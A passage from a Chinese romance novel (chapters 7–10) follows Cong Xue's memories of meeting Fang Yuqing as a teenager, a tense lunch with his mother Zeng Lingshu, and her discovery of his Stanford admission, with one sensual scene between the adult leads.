方屿青在一旁沉默半晌,终是什么也没再问,启动车子。
路程不算近,回去要穿越大半个南城。
丛雪倚着车窗,数着路边初升的霓虹,竟真的迷迷糊糊睡了过去。
模糊意识中,冷气似乎被人调高了些。
车子抵达小区的时候,丛雪有些将醒未醒。
她睁不开眼睛,能感觉到车子停下了。
方屿青在黑暗中坐了一会儿,丛雪不知道他在想什么。
车门开关的声音响起。
接着,她身侧的车门被拉开,方屿青探身进来,弯着腰,去解丛雪的安全带。
鼻端飘来好闻的桃子香,来自他们的同款沐浴露。
丛雪微微睁开眼睛。
方屿青干净的侧脸近在咫尺。
尚未彻底清醒的缘故,意识仍旧朦胧一团,手指却像是有了自己的意识,竟然缓缓抬起,很轻地触碰了一下方屿青的嘴唇。
方屿青瞬间僵住,抬眸,撞进丛雪来不及收敛的心动里。
空气凝固,仿佛有什么东西被点燃。
方屿青猛地俯下身,噙住丛雪的唇。
连唇瓣都来不及细细描绘,便果断挑开缝隙钻了进去,仿佛已经忍耐了许久。
丛雪被方屿青堵在车座里,意识半梦半醒,软着身子承受一场狂风暴雨般的索吻。
下巴被捏住,她动弹不得,像一根提线木偶,被他汹涌的情潮淹没,在逼仄的空间里逐渐窒息。
唇舌强悍地倾轧过来,拂过口腔的每一处,丛雪的舌头都被搅得麻木。
潮热濡湿的交缠里,她听到让人脸红心跳的吞咽声。
方屿青的攻势猛烈到不给她留一丝喘息的机会,丛雪控制不住地轻哼,手脚并用着扑腾,被方屿青一把捉住。
“别乱动。”
他终于放开她,唇上还沾着她的口水,亮晶晶的。
一手揽住丛雪的腰,另一只勾住腿弯,方屿青直接将她从车里抱了出来,抬脚踢上车门。
就这么抱着她上了六楼。
丛雪猫在他怀里哆嗦着,生怕遇到人。
进了家门,丛雪也没能着地,就这么被一路抱着、吻着往里走,丢在了卧室的床上。
方屿青半跪在床沿,两手撑在床上,垂目看她。
房间里没开灯,月光照进来,在丛雪裸露的肌肤上绽放出点点细腻的光泽。
她被亲得有些意识不清,瞳孔模糊着,乖顺地仰面躺着。小口微微翕动,软得像一滩濡湿的泥。
方屿青的脸色仍是平静的,只是漆黑的瞳孔深处,早已掀起贪婪而幽深的浪。
越是这样,越显得耐心。
他有一整个漫长的夜晚,将床上的人一寸寸剥光。
而她会乖乖的,任由自己肆无忌惮地侵犯,蚕食。
是这样的,方屿青想。
他没有回答的那个问题,这就是答案。
是怎么意识到不喜欢宋恩让的呢?
两年前,他就明白了。
他从未对宋恩让、或是对其他任何人,产生过这样强烈的、欲罢不能的冲动。
那是雄性的本能,想要将一个女人彻底贯.穿的欲望。
7. 07
丛雪站在走廊上,看到窗外那棵熟悉的梧桐逐渐褪去明朗的金色,变得光秃秃,就知道,又一个冬天要来了。
她在心中怔了怔——眼下即将要入夏,哪里来的冬天呢?
茫然四顾,周围到处都是人,黑压压的。
神色冷峻的医生和面目模糊的患者从她身旁快速经过——
她竟是在医院里。
这是十六岁那年的秋末。
丛雪垂下头,看了一眼手中鼓鼓囊囊的文件袋。
薄薄一层空间里塞满了收费单据和检验报告,像是吃得太饱而凸起的肚皮。
这个地方她不陌生,从十岁起,每周都要过来。
这里是妈妈做透析的医院。
一周三次,雷打不动。
母女俩从菜场收了摊,就急匆匆地赶最后一班公交车赶过来。
这里有很多病床,机器轰鸣作响,替肾脏将身体无法代谢的废物排出体外。
六年了,肾源遥遥无期。
丛雪对这里,也一次比一次更熟悉。
妈妈不愿让她陪在透析室,亲眼看着那些冰冷的塑料管插入她的身体,每次都打发丛雪出去找个地方呆着。
丛雪是个听话的小孩,却也不想离妈妈太远。
她拉开书包,拿出一本单词书,就这么靠着走廊的窗户看了起来。
为什么会梦到这个场景呢?
丛雪有点疑惑。
当她转过头,看到气势汹汹冲过来的马福山时,突然意识到——
这里是她第一次碰见方屿青的地方。
马福山刚喝了一顿大酒,从脑门一路红到脖子。一双怒目直勾勾地吊着,脸上横肉直抖,散发着疯狂的嚣张。
他醉得连脚步都有些踉跄了,却还能一眼就在形形色色的人堆里认出丛雪。
“不要脸的小蹄子,可叫我好找!还老子房子!”
丛雪被马福山吼得一愣,身上的筋肉都哆嗦起来,心底的恐惧登时主宰了意识,本能地扔下课本,拔腿就跑。
马福山紧追而来,边追边抄起小推车上的玻璃输液瓶,狠狠朝丛雪扔过去。
视线里是拥堵的人群,丛雪前路被堵住,再逃无可逃。
最绝望的时刻,脑中竟然冒出一道荒唐的念头:是不是给他砸一下,他就可以放过她们母女俩?
瓶子飞来的瞬间,丛雪妥协地闭上双眼。
预想中的疼痛并没有到来,有人扯住她的胳膊,用力一拽,她僵硬的身体向一旁倒去。
下一秒,丛雪跌进一个带着凉气的怀抱,后脑被人按住,迅速侧身。
玻璃瓶擦着那人的鼻尖划过,“咚”地砸到墙上,摔出一片淋漓水花。
丛雪艰难地喘息着,睁开眼,视野里是一道青绿色的校服前襟。
耳旁有衣料摩擦的声响,伴着一声痛苦的哀嚎,紧追而来的马福山被人一脚踹翻在地。
“打架了!打架了!”
麻木的人群终于动了,有人惊慌逃跑,有人高声呼喊。
丛雪哆嗦着抬起头——
救了她的,是一个少年。
少年头发乌黑,下颌的线条清爽,灰色的牛角扣大衣随着剧烈的动作敞开,露出里面秋季校服上的一截校名。
南城师范大学附中。
鼎鼎大名的市重点。
少年侧着脸,皱眉盯着地上鬼哭狼嚎的马福山,眼角一枚淡色小痣在丛雪颤抖的视线里隐隐晃动。
“叫保安!”他扭头冲旁边的人喊。
一旁的护士吓呆了,被这一嗓子嚎得清醒过来,慌忙拿起电话。
少年这才松开禁锢丛雪的胳膊,胸廓上下起伏着,微微侧身,挡在她了身前,却并没有回头看过她一眼。
丛雪望着那枚后脑勺,怯怯地说了一声“谢谢”,但她觉得少年并没有听到。
马福山被这少年踹得仰翻在地,一时竟没能站起来,歪在地上,口中仍在骂骂咧咧。
两名保安很快赶来,将他就地擒住。
不久后,警察也来了。丛雪的妈妈做完透析,配合着进行了调查。
马福山不是什么遥远的仇人,而是丛雪的大舅舅,妈妈的亲大哥。
为了利益,手足间反目成仇的例子并不罕见,丛雪家中就是如此。
外婆留下的老房子被妈妈卖掉,换了一笔治病钱。从此,亲戚间的矛盾一发不可收拾。
妈妈在办公室里配合民警的调查,一墙之隔的走廊,丛雪帮着清洁工大婶一起打扫混乱的现场。
她刚刚站过的地方,躺着一杯融化了的冰激凌,黏糊糊的液体流得到处都是。
“唉,这是刚才那个小伙子的,还没吃几口呢,可惜咯。”清洁工大婶喃喃。
丛雪用抹布将那处的地面擦得锃亮,捡起冰激凌的杯子,到洗手间冲洗干净,装进了书包。
她把杯子悄悄带回了家,摆在自己的窗台上。
窗帘紧闭,丛雪打开台灯,趴在书桌上看,暖黄光线穿过塑料杯,映出一个淡淡的M。
第二天放学,丛雪没有像往常那样去菜场给妈妈帮忙,而是一个人绕了几条街,来到学校附近的一家麦当劳。
她站在门口,听见店里传来的欢声笑语,一群小学生正在里面过生日。
丛雪攥紧书包带,忐忑地推开玻璃门。
这是她第二次踏进麦当劳。
第一次,是小学四年级的时候,班上一位同学在转学前请全班同学吃饭。
丛雪不好意思点太多,只要了一个汉堡,安静地吃了很久。
此刻,她有点局促地站在柜台前,小心翼翼地抬头浏览菜单。
东西好多,她不知道要找的究竟是哪一款。
柜台的小姐姐问她需要点什么,丛雪无措地张了张嘴,喉咙竟像是被拧紧了,一个字也说不出来。
那晚,她落荒而逃,空着肚子走回了家。
软绵绵的失落又一次席卷了她。
这种情绪十分熟悉,像潮水一样从心口漫上来,吞没她的呼吸。
命运从不吝啬赐予她难堪和落魄,好像那才是她理所当然的人生底色。
早就该习以为常了,可是为什么,还是会感到难过呢?
然而,那些无处发泄的情绪并没有消失,而是潜藏进更深处,在身体的每一个细胞里蛰伏。在某些时刻,跃跃欲试地冒出头,一而再、再而三地击穿那颗千疮百孔的自尊心。
丛雪在睡梦中,呜呜咽咽地流眼泪。
方屿青将她从被子里挖出来,靠在自己怀里,一下下轻拍着她的脊背。
丛雪噙着泪花,缓缓睁开眼睛。
台灯的光线是昏暖的黄色,窗外漆黑一片,天还没亮。
“做噩梦了?哭成这样。”
方屿青眉心拢着,下巴紧贴着她的额角,轻轻蹭了蹭。
有些亲昵,还无端多了些怜惜的意味。
丛雪抬起头,怔怔地望着他的脸。
那枚小痣仍旧如梦中一般浅淡,是十六岁的少女鼓足勇气也留不住的一点点悸动。
丛雪整个人还陷在梦中的情绪里,她声音嘶哑,没来由地问:“你还记不记得……医院的朱古力新地?”
她后来观察过,方屿青对冰激凌并不算特别感兴趣。
或许他那天只是碰巧买了一杯,而她却在日复一日的重温中逐渐爱上了它的味道。
方屿青愣了一下,似乎不明白她大半夜的怎么突然问这个。
“什么新地?你喜欢的那款冰激凌?”
方屿青靠在床头,右手绕过她的颈后,无意识地揉捏着。
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丛雪的精神渐渐放松下来。
他并没有回答她的问题,可她却无端觉得满足。
她靠在他怀里,伸出胳膊,紧紧抱住他。
方屿青任她抱着,默了半晌,突然问:“那个新地,现在想吃吗?”
丛雪一怔,抬起脸,看见他睫毛半扇着,整个人在暖黄的灯光中裹着一层毛茸茸的细边。
这样亲近,这样蛊惑人心,丛雪一瞬间生出了不该有的非分之念。
这念头令她觉得忐忑。
她克制再克制,知道自己该摇头否认,可说出口的却是一句——
“如果……我想呢?”
方屿青十分平静地应了一声,抬手掀开被子:“我去买。”
丛雪还来不及阻拦,他已然下了床,赤着上身,内裤包着沉甸甸的一团。
丛雪红着脸别开眼睛。
两个小时前,他们才刚刚结束最后一轮欢爱。
丛雪身上也光溜溜的,此刻后知后觉地有些羞赧,急忙探着身子去够床尾的睡裙。
方屿青捡起掉在地上的T恤,几下套上身,又去找不知道撂在哪儿的裤子。
丛雪着急地从床上下来,赤脚跟在他身后,小心地解释:“我刚刚是乱说的,其实并没有很想吃。况且,都这么晚了……”
“不晚。”方屿青随手拿起橱柜上的车钥匙,拉开玄关的门把,“24小时营业。”
门在她眼前“砰”一声关上,客厅里瞬间鸦雀无声。
丛雪想说的其实是——都这么晚了,就别出去了。
她瞅了一眼墙上的时钟,怀疑自己是不是魔怔了,居然敢劳烦方屿青在凌晨两点开车出门,替她跑腿,买一杯冰激凌。
而方屿青还真就这么去了。
丛雪走到窗户边,看着他的车在夜色里走远,心里好像有一丝丝高兴,更多的却是不安。
她不该这么任性的。
她暗暗告诫自己,以后不可以再有这种过界的行为。
他今天或许是心情好,若再有下次,会反过来嫌她麻烦也说不定。
丛雪站在窗户边天人交战,不知所措地度过了二十分钟,就听到楼下车子熄火的声音。
南城大学东门就有一家24小时麦当劳,距离不算远。
方屿青进门的时候,看见丛雪竟然板板正正地站在门口等着,不由有些好笑:“就这么急着吃?”
他把纸袋递给丛雪。
丛雪打开袋子,取出熟悉的朱古力新地,不知道该感谢还是该道歉,索性用勺子挖出一大块,送到方屿青嘴边。
“你要不要……先吃一口?”
方屿青眼中掠过一丝笑意:“感谢费啊?”
“嗯,”丛雪诚恳地点点头,“谢谢你,这么晚了还辛苦跑一趟。”
“辛苦……”方屿青咂摸着这两个字,不以为意地纠正,“比不得床上辛苦。”
丛雪差点咬到自己的舌头。
“就这样谢我?”
丛雪眨巴着眼睛,愣了片刻,然后上前一步,踮起脚,亲在了方屿青的下巴上。
他看不出满意还是不满意,只是挑着眉毛问她:“你平时都这样感谢人?”
“那也不会。”丛雪舀了一勺厚厚的朱古力酱送进嘴里,眼睛里涌起一丝幸福的神采,“只有你给我买过冰激凌。”
方屿青散漫的目光顿住,定定地注视着她,带着几分别有意味的探究。
丛雪短暂地晃了神,又羞涩着撇开眼。
“好吃吗?”过了几秒,他问。
“嗯……”丛雪压下心中的悸动,弯起眼睛,小鹿一样。
方屿青盯着她看了一会儿,伸出手,食指指节轻轻蹭过她沾了白色冰激凌的唇角。
“好吃的话,就别哭了。”
8. 08
方屿青这是……在哄她吗?
日光明亮,丛雪站在洗手间的镜柜前,叼着牙刷,心中反反复复回想着昨夜的事情。
因为有心事,她后半夜也没有睡好,此刻眼底下挂着一行淡淡的青色。
丛雪将满嘴泡沫吐干净,接了清水洗脸。
今天是小长假的第二天,方屿青一大早就被一通电话吵醒。
丛雪听到电话那头耿路辉炸裂的狮吼声:“青青!青青!爸爸回南城了!你人呢人呢人呢?”
耿路辉是他们共同的高中同学,也是方屿青的死党。
南城师大附中有三类学生,一是成绩好的,二是家中非富即贵的,三是二者兼有的。
耿路辉是典型的第二类。
从小调皮捣蛋,全靠他爸一路撒钱进重点。
高考后跑去美国加州读了个野鸡大学,离家远,不用再被亲爹时不时修理,倒也逍遥自在。
方屿青有点起床气,在耿路辉咋呼到第二句的时候就把电话挂了,关机,扔出去,一气呵成。
他翻了个身,头蒙进被子里,像条虫子一样在被窝里烦躁地蠕动,毛茸茸的脑袋蛮横地拱进丛雪胸前,不动了。
丛雪怕他闷着,悄悄掀开一角被子。方屿青却突然睁开眼睛,在床上坐了起来。
他的脸色很是难看。
想到耿路辉那个二货如果找不着他,可能会在南大校园里拿个喇叭满世界地喊“青青”,方屿青捏了捏眉心,不情不愿地下床,进了洗手间。
从洗手间出来,炸毛青年摇身一变,又成了那个玉树临风的校草。
“今天做什么?”方屿青穿好衣服,站在床前低头问她。
这个角度很好看,丛雪有些呆了。
“和……和邱晗约好了见面。”
邱晗一大早就给她发微信,问丛雪还在不在学校附近,想约她吃饭。
方屿青点点头,也没多问,从床头柜上拿起她的手机,设置了一小会儿。
“这是在做什么?”丛雪趴在床上,伸长脖子去看。
“装了个小东西,怕你走丢。”方屿青将手机递还给她,“如果迷路了,给我打电话。”
“也不至于迷路吧……我是本地人。”
丛雪试着争辩了一下,但也知道这个理由挺苍白无力,越说声音越小,方屿青都懒得翻旧账反驳她。
丛雪送方屿青到门口,他站在走廊里,冲她招招手。
丛雪走过去,被他在唇上偷啄了一口。
丛雪发着怔,人已经走了。
她摸了摸嘴唇。
这个场景有些暧昧了。
丛雪恍惚觉得,她这次回南城,和方屿青之间似乎多了一层温情脉脉的氛围,不再像以前那样,只要穿上衣服,彼此之间就像是不太熟,不会有什么肢体触碰。
方屿青走后不久,丛雪也将自己收拾妥当。
正在玄关换鞋子,手机一亮,是曾令淑的微信——
【小雪,昨天家里人多,没来得及跟你好好说会儿话。今天有时间吗?阿姨想请你吃顿饭。】
丛雪握着手机的手指微微收紧。
她就这么站在玄关,直到秒针走过了整整五圈,才重新解锁手机,切换到和邱晗的聊天框。
丛中雪:【小晗,真抱歉……今天突然有点事情,没办法见面了,我们改天再约好吗?】
二十二岁少女邱:【可以是可以啦,但你得答应我,下次我找你的时候,无论如何你都得出来!】
丛中雪:【好,只要我还在南城。】
*
曾令淑很快将午饭的地址发了过来,是某购物中心一楼的南城本地菜。
这个安排非常贴心,丛雪下了地铁,走地下通道就可以直达,不必上到地面感受日头的毒辣。
她推开餐厅的玻璃门,看到曾令淑已经坐在窗边一张桌子前等着了。
“怎么不进来?”
曾令淑穿着一身亚麻色的休闲套装,平底运动鞋,尽显知性的松弛,和平时在医院的打扮没什么两样。声音也不疾不徐,永远那么温雅得体。
她抬手招呼丛雪落座,把菜单递给她。
“我点了三个菜,都是你爱吃的。再看看还有什么想加的,今天阿姨请客。”
丛雪小心接过菜单,客气得加了一道荠菜春笋。
曾令淑看着丛雪,目光一如当年那般和善,和她聊了很多。问起丛雪在大学里的课业,和同学们的关系,今后的打算云云,俨然一位十分关心她的长辈。
丛雪大学读的是英语语言文学专业,去年秋招时,已经面试上了南城师大附小的教师岗位,等过完暑假,就会来南城入职。
她将情况如实告诉了曾令淑。
丛雪在说的时候,胸腔是隐隐发着紧的,甚至没敢去看曾令淑的表情。
可是没想到,曾令淑听说她的工作已经定在南城之后,眉宇间竟有些如释重负之意。
“师大附小可是南城的重点小学,你去那里当老师,无论是环境还是待遇都不会差。能有这样一份稳定的工作,阿姨由衷地为你开心。”
丛雪礼貌点头:“谢谢阿姨。”
“以后工作上如果有任何需要,随时来找我。我和附小的校长还算熟,毕竟,那儿也曾是屿青的母——”曾令淑笑容不变,话头却突然一顿。
丛雪低着头,装作没听见。
曾令淑拿起水杯喝了一口,自然地转移话题:“住的地方呢,找好了吗?”
丛雪:“还没有,到时候学校应该会安排。”
曾令淑点点头,看着丛雪乖巧应答的样子,笑着说:“大学四年,你长大了许多。”
她似无意、又像是意味深长地叹了口气:“小雪,四年前的那个决定,你还在怪阿姨吗?”
丛雪一怔,睫毛颤了一下,抬起目光,唇线轻轻抿紧:“阿姨,我一直都是感激您的。没有您的帮助,我连高中都没法正常读完,现在的一切更是无从谈起。请您放心,答应您的事情,我从来不敢忘。”
这是曾令淑想听的回答。
她今天来见丛雪,除了想和她叙叙旧,还捎带着想要试探一番。
看到丛雪这么懂事,曾令淑在放心的同时,又有些于心不忍。
这毕竟是自己照顾了两年的孩子。
“我只是希望你有更快乐的人生,像你妈妈期盼得那样。”曾令淑望着她,轻轻叹了口气,嘴角的笑容淡下来,语气倒是变得诚恳了许多,“不想你太早就被困在不合适的感情里,受尽折磨。”
丛雪垂着眼,轻轻点了点头。
曾令淑又试探地问:“这些年……有没有谈过男朋友?”
丛雪安静摇头。
“不着急,等工作安顿下来,阿姨帮你介绍。”
丛雪明白曾令淑的用意,配合着答应了,好叫她放心:“知道了,谢谢阿姨。”
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服务生开始上菜。
曾令淑夹起一块糖醋小排,放进丛雪的碟子里:“来,很久没有吃到正宗的南城菜了吧?”
丛雪连忙道谢,拿起筷子,装作很有胃口的样子吃起来。
曾令淑想,当年那个怯生生的小姑娘,如今变得沉稳娴静,出息又懂事,心中亦感到欣慰。
她认识丛雪已经十二年了,几乎算是看着她长大的。
当年,她在晋升副主任医师之前,曾经下到基层,在南城近郊的一所社区卫生院里出诊,在那里结识了丛雪的妈妈,马娟。
马娟青年丧夫,一个人拉扯着女儿长大,就靠在菜场风雨无阻地出摊挣一份辛苦钱。
她这辈子从来也没有体检过,听说社区来了大医院的医生免费给看诊,这才挑了个不忙的时候过来,说自己身上不舒服有段时间了。
一检查发现,她已经是严重的肾衰竭。
从那时候起,马娟就成了曾令淑的病人。后来她调回总院,还是说服马娟继续坚持治疗。
马娟的女儿长得玉雪可爱,性子也乖,每次来医院都不哭不闹。穷人的孩子早当家,小小年纪她便已经承担起照顾妈妈的责任。
曾令淑很喜欢丛雪,还会安排实习生给她在办公室找张桌子写作业。
可惜马娟死得非常突然。
脑出血并发症,连抢救室都没来得及送进去,人就已经完了。那个时候,曾令淑远在外地开会。
毕竟是这么多年的病人,早已是半个故友。曾令淑心中过意不去,有一天下班后,提着一盒燕窝去了马娟生前的家。
漏风的出租屋里只有丛雪一个人,已经两天没吃饭了。
曾令淑要带丛雪出门吃东西,丛雪却哭着摇头:“曾医生,我舅舅带着人守在小区外面,他们看到我,会杀了我的……”
“那你就这样躲着,不去上学了?”曾令淑震惊又心痛。
“舅舅总是去学校闹,我的学费也一直欠着……老师就让我别去学校了,自己在家看书。”
真是欺人太甚!
曾令淑当即就想带丛雪去学校讨个公道,可是转念一想,自己能帮她一时,她一走,丛雪就又成了一个人。
她只是一个没成年的孩子,没有经济来源,也没有亲戚愿意接管。这样下去,丛雪必定会辍学,然后变成混迹在这世上的又一个命运凄惨的女孩。
这不是她的责任,可曾令淑于心不忍,她不想马娟的孩子变成那样。
她思索片刻,几乎立即就做了决定。
“小雪,到阿姨家来生活吧。”曾令淑语气和善地同她商量,“阿姨家房子大,住得开,你可以一直住到参加完高考、有能力独立的时候。”
“阿姨也会帮你转学,这样,你舅舅就再也找不到你了。你可以安心读书,考一个好大学,彻底离开这里,走得远远的。”
……
往事的一幕幕在眼前划过。
曾令淑看着面前的丛雪,忍不住在心中叹息。当初一时冲动把她带回家,的确是没有考虑太多。
她待人和善,从不张扬,对丛雪的好也润物细无声。可曾令淑毕竟出身优渥,常在高位,一旦发生触及她底线的事,那温柔便像撤下绒布的刀,快准狠地正中对方要害,叫人连反抗的余地都没有。
她的慈悲有界限,她的善意,也从来不是无条件的。
丛雪当年,就是明白得太晚了。
9. 09
“小雪,等你来南城入职,阿姨就在家里办一个派对,为你接风洗尘。”
临分别的时候,曾令淑笑容温婉地拉着丛雪的手:“到时候,把你的朋友们都叫上,一块热闹热闹。只可惜屿青不在——”
这是她今天第二次提到方屿青。
丛雪还没来得及去想为什么方屿青会不在,曾令淑的车已经到了。
司机下车,恭敬地打开车门。
丛雪认出了司机正是当初接送自己上学的叔叔,礼貌地打了声招呼。司机冲她微笑了一下,当着曾令淑的面,没说什么话。
曾令淑坐进后座,降下车窗,同丛雪亲热地挥手道别。
车子渐渐驶远,丛雪周身的紧绷这才放松下来。
这顿饭吃得并不轻松,胃和脑子都很累。她吁了口气,踏上了回程的地铁。
丛雪的妈妈当初为了治病,不得不把房子卖掉,带着女儿租房生活。她去世后,丛雪搬去了方家,高考结束后又远赴外地求学,在南城实际已经没有家了。
偌大的城市,唯一令丛雪感到归属感的地方,居然是方屿青的这栋公寓。
丛雪打开门,背靠在门板上的那一刻,有一种动物回到巢穴的安全感。
还不到四点,肚子竟然叽里咕噜一阵响——她哀怨地感慨,中午那顿昂贵的本地菜也不知道吃去了哪里。
丛雪决定出门买点吃的。下楼梯的时候,正琢磨着晚饭吃点什么好,一抬头,碰见了邻居张奶奶。
老太太刚采购完回来,手上拎着大包小包的东西,哆哆嗦嗦地上楼梯。
丛雪赶紧过去,主动接过那堆东西,一手提着袋子,一手扶着老人家进家门。
张奶奶气喘吁吁地道谢:“怪不得人家都说,远亲不如近邻!可不就是如此嘛,我那两个小兔崽子啊是一点也指望不上!”
张奶奶以前是南城大学的后勤人员,老伴走了之后,就自己独居。老人家年纪大了,睡眠浅,老房子的隔音又不好。有一回,方屿青折腾得狠了,丛雪叫得声音大了点。他才将将捂上她的嘴巴,那边,老太太已经来敲门。
丛雪羞红着脸给人家道歉,方屿青这个始作俑者却躲在门后,在老太太喋喋不休的批评声中,坏笑着勾她的手。
……
日子久了,张老太太倒是觉得丛雪这丫头挺和善,人也有礼貌,年轻小夫妻感情好,闹腾一下也正常,现在见到她已是非常亲切了。
张奶奶让丛雪稍等,回身从自家小阳台上端出一个塑料方盆,上面铺了一丛绿油油的豌豆苗,打着架似的往外疯长。
“这个送给你,老太太我自己培的,吃着健康。”
丛雪说什么也不要,但张奶奶硬要给,她只好收下。
丛雪又去了一趟附近的超市,买了些食材回家。
她拿着厨房剪刀,小心地把豆苗收割掉,做了一盘豆苗炝金针菇。又用蒜蓉爆锅,闷了红烧大虾,最后再来一道蜜汁年糕鸡翅……等忙完这些从厨房出来的时候,已经快六点半了。
丛雪把饭菜摆上餐桌,布置好碗筷。
她第一次在这栋房子里下厨,还有点不习惯,也不知道菜的味道是咸是淡。想问问方屿青,他什么时候回来。
丛雪拿起手机,找到方屿青的微信头像,在餐桌边坐下来,开始打字。
打了两三行,顿了顿,又默默地全部删掉,换成精炼一点的语句。
一大堆文字终于变得只剩下一行,丛雪的手指在发送键上悬了又悬。
一条新消息突然蹦出来,是南师附小的招聘对接老师,给丛雪发来一份个人信息表,让她尽快填了。
丛雪遂删掉那行编辑好的文字,重新换了个由头。
丛中雪:【我能借用一下你的电脑吗?需要填个表。】
Isle:【在书房】
Isle:【042553】
丛雪猜想,这串数字应该就是开机密码了。
可这些数字……是什么意思?
0425看着很像是谁的生日,方屿青的生日是11月28号,那这个生日是……
答案似乎显而易见了。
心中一涩,丛雪强忍着失落,把最想问的问题发了过去。
丛中雪:【几点回来?】
方屿青却没再回复。
丛雪抱着手机等了一分钟,确定他是不会回了,心里那些高悬着的期待统统着了地,带得食欲也一并暗淡了下去。
算了,先填表吧。
她迈着迟缓的步伐来到书房,方屿青的笔记本电脑就摆在桌子上,是休眠的状态。
丛雪输入密码,电脑解锁,映入眼帘的是黯得近乎墨色的深海探测图桌面,Dock栏被自动隐藏,面上没有任何杂乱的图标,只剩一片冷静的海。
丛雪不敢乱看,赶紧登录自己的微信,开始填表。她触控板用得不太熟练,好几个页面同时跳了出来,丛雪发现方屿青的邮箱是开着的。
最新一封邮件是全英文的,来自斯坦福大学医学院。
丛雪怔了一瞬,一目十行地看完,又仿佛不愿意相信一般,在邮箱的搜索框里输入Stanford,视线顺着一串邮件往下,看到了那封正儿八经的博士研究生录取通知。
硕大的标题刺激着她的视网膜。
每一个单词她都认识,连起来却觉得一片眩晕。几行加粗的字体就像铁钉一般,将她的希望洞穿。
房间安静得过分,只有丛雪濒临崩溃的呼吸声。她好似跌进了桌面这片深海里,明明在温热的书房,肢体却被冻住。
她不知道,方屿青竟然要出国留学了。
“叮——”
电脑的微信框里弹出新信息,是方屿青的回复。
Isle:【今晚不回了】
*
夜里,丛雪一个人躺在床上,看着黑洞洞的房顶,有些失眠。
她不记得自己是怎么看完了那些邮件,又怎么把每一封标回未读状态,再轻轻退出书房,关上房门,像她来时一样小心翼翼,不敢惊扰任何东西。
空气中弥漫着一股冷却的饭菜香,餐桌已经收拾干净。一口未动的饭菜全部躺在厨房的垃圾袋里,颜色仍是鲜亮的。
丛雪眼眶酸胀,泪珠一颗颗滚下来,悄无声息地渗进枕头里。她试图在脑海里安抚自己,不要被这突如其来的慌乱彻底击垮。
以方屿青的成绩和性格,毕业后出国深造,几乎是理所当然的事。
她早该想到的。
是她一厢情愿地想回到南城。总觉得,只要她留在这里工作,他们就还可以维持这样的关系——直到他结婚,直到不得不散场。
她不敢多打听他的事,也没有进一步去想过,方屿青对未来会有什么样的规划。
他们原本就没太有过深度的聊天。
两人之间的微信纪录很简单,话题从来只围绕着“你什么时候来南城”和“我什么时候去北城”打转。
他们把这段关系经营得明明白白,像一份共识清晰的契约,没有任何耍弄文字游戏的空间。
每次见面,说不了几句话,就滚上床。
关于他的点滴,丛雪经常会靠耿路辉那些日更不辍的朋友圈去拼凑和猜测。
而且,方屿青没有主动告诉她有关留学的事,确实是说得过去的。他们之间,从来就不是需要对彼此坦诚相待的关系。至于责任和承诺之类的,就更谈不上了。
丛雪这样自我安慰着,眼泪却还是扑簌簌地往下掉。
她躺在床上,面对着窗外,看见天光一点点染透了窗帘,如一层柔和却残酷的薄雾,把她的心也照得无所遁形。
——丛雪啊丛雪,无论你们之间发生过什么,本质并没有任何改变。你对他来
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说,终究也只是可有可无的存在。
*
翌日,丛雪又来到了那家熙熙攘攘的购物中心。
假期过半,这里的人流量竟不减反增。
她俯着身,目光仔细描摹过橱窗里做工精湛的钢笔。
导购已经在边上等了好一会儿,耐心即将告罄:“美女,真不要我帮你推荐一下?”
丛雪摇摇头。
她努力回忆着方屿青那支钢笔的样子,这么多年过去了,也只能记住个大概。
终究是买不成一模一样的。
但有一款确实长得很像,九分相似,已是足够。
她指着一支墨绿色细条纹的钢笔问:“我能不能看看这款?”
“这款是咱们的高端系列,不参与活动呢。”导购看她是个穷酸大学生,丑话说在前头。
“没关系的。”
导购不情不愿地给她递过来。
丛雪拿在手里掂了掂,德系品牌的钢笔的确富有质感,像沉稳的工艺品,每一处设计都雅致且细巧。
“就要这款,麻烦你帮我包起来,要送人。”她小声说。
丛雪交完钱,拎着那个包装得一丝不苟的小礼盒上了地铁。一路上,她小心翼翼将它抱在怀里,像揣着什么极其珍贵的宝贝。
毕竟,这个小东西花掉了她将近四年的积蓄。
四年来,丛雪每个月都会在生活费之外存下一点,只为买这份礼物。
本想等到下个月,方屿青真正毕业的时候,作为毕业礼物送出去,可如今,她连这样的念头也不敢再保留。
只好提前,也只能提前。
回到公寓,丛雪将屋子的角角落落都查看了一遍,思索着该把这个礼物藏在哪儿。
礼盒有点大,塞不进书桌抽屉;可若是直接放在桌面上,又太过于显眼。
她想送他礼物,却又不愿让他知晓。
两年来,丛雪早已经习惯将所有温柔的心意小心掩藏,似乎自己任何形式的真情流露,对他来说,都是一种冒犯。
最终,丛雪还是将那个漂亮得近乎奢侈的包装盒拆掉了,只留下一支素净低调的钢笔,藏进了方屿青书包的夹层。
没有署名,也没有字条。
或许哪一天,方屿青无意间发现这支笔,会记起几年前丢失的那一只。心里那些未曾言说的遗憾,能够被这突如其来的“失而复得”所替代,就已经足够。
丛雪起身,视线缓缓扫过整个房子。
还记得他们刚刚“在一起”的时候,丛雪每次来南城,都住在酒店。
有一次退房的时候,一名男性工作人员在走廊上偷偷打量了她一眼,带着轻薄的狎昵,让丛雪不适地别开脸,下意识抓紧了方屿青的袖子。
自那之后,方屿青再没带她住过酒店。很快,这间公寓的地址就发到了丛雪的手机上。
屋里的陈设不算多,但每一样都是丛雪亲手布置的。
窗帘的颜色,餐桌的位置,收纳柜上的杯子……她用一点点细碎的心思,把这里布置成了她想象中“家”的模样。
她和方屿青的家。
丛雪轻轻笑了一下,眼角有一点红。
这么多年了,自己好像还是没什么长进,依旧这样天真又愚蠢。
她怎么会配得上和方屿青“有个家”呢?
临近毕业季,丛雪忙着论文和答辩,原本想着等一切都结束了,她正式搬回南城来,将一切逐渐安顿好,就可以经常和方屿青见面了。
相聚不在这一时。
是方屿青先找的她。
微信发得轻描淡写,丛雪却开心了好几天,还拉着室友逛街买了新裙子。
可原来,他叫她来南城,是为了当面终止这段关系的。
当年没有得到方屿青一句正式的“开始”,如今,却偏偏要她来亲耳听一声“结束”。
10. 10
邱晗打来电话的时候,丛雪已经把行李都整理好了。
那条米白色连衣裙已经晾干,叠得整整齐齐,不知道还会不会有再穿上身的一天。
整个屋子都打扫干净了,床单被褥换了新的,属于丛雪的小东西也都被她一一归拢好,打进了背包里。
她忙着收拾,一直没顾上看手机,邱晗等不及了,一个语音打过来。
“你怎么不回微信呀?”邱晗咬着个苹果,吭哧吭哧地啃,“现在在干吗?有时间的话,出来玩呗。”
丛雪看了一眼自己改签的火车票,就在三个小时后。
“要不,我现在过来?”丛雪在心里计算着时间,“咱们一起吃个饭,下午我就要去车站了。”
